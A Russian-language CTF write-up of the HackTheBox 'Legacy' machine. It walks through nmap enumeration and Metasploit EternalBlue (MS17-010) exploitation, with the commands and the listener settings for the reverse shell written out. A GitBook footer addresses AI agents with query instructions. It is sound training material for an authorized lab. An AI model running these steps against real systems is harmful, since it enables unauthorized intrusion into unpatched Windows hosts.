> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md).

# Запись HackTheBox Legacy

{% embed url="<https://app.hackthebox.com/machines/Legacy>" %}

{% hint style="warning" %}
**Навыки:**

* Перечисление SMB
* Эксплуатация Eternalblue (MS17-010) (Triple Z Exploit)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/b527fae202a96197beed4dad0d16cf20e1387626" alt=""><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/524532d937a9418b1a795924ebd73e759a22057e" alt=""><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.4 -oG allPorts
```

<figure><img src="/files/177a9aa5df993b6c46fa06f55fddb1ecc8e7ebe2" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Используя функцию extractPorts, в кратком формате отображаем открытые порты и копируем их в буфер обмена (135,139,445)

<figure><img src="/files/31f3562e9ae74a5ae358cbfbf539c4079292d207" alt="" width="563"><figcaption></figcaption></figure>

Сканирование версий портов с Nmap:

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p135,139,445 10.10.10.4 -oN targeted
```

<figure><img src="/files/fb7fc632ebba0f811b1e30066b457054b011bf6a" alt=""><figcaption></figcaption></figure>

## Эксплуатация Eternalblue - SMB (MS17-010)

Анализ Nmap показывает, что целевой сервер работает под управлением версии Windows XP, что позволяет нам попытаться эксплуатировать уязвимость MS17-010.

Мы запускаем сканирование Nmap, чтобы проверить наличие этой уязвимости:

```bash
nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan
```

Это сканирование подтверждает, что машина уязвима к MS17-010.

<figure><img src="/files/b9103edca9a51abf358ae9f1422e7b2c983aab43" alt=""><figcaption></figcaption></figure>

### **Эксплуатация с Metasploit**

Мы ищем эксплойт в Metasploit:

```
msfconsole 
search eternalblue 
```

Мы выбираем первый эксплойт из списка:

```
use 1
```

<figure><img src="/files/6c4f91b5088db825427299b5db703a28fb1436e3" alt=""><figcaption></figcaption></figure>

Мы настраиваем параметры:

```bash
set RHOSTS 10.10.10.4
set LHOST 10.10.14.50
set LPORT 443
```

<figure><img src="/files/80382a6e565c350917623d4ea4dba38994f426ad" alt="" width="563"><figcaption></figcaption></figure>

Затем мы запускаем эксплойт:

<figure><img src="/files/4d2c939d9e2198865a7cba3e366736fb7c469ac1" alt=""><figcaption></figcaption></figure>

### Флаг user.txt :)

<figure><img src="/files/654450013a4c1a34b2053c3eec236d2d52e61cdf" alt=""><figcaption></figcaption></figure>

### Флаг root.txt :)

<figure><img src="/files/e5cd5822aa451317ddd171610ef4ca38a405d2a2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/25b2197efd3fad969d85d5de04b1977f77f6d196" alt="" width="514"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
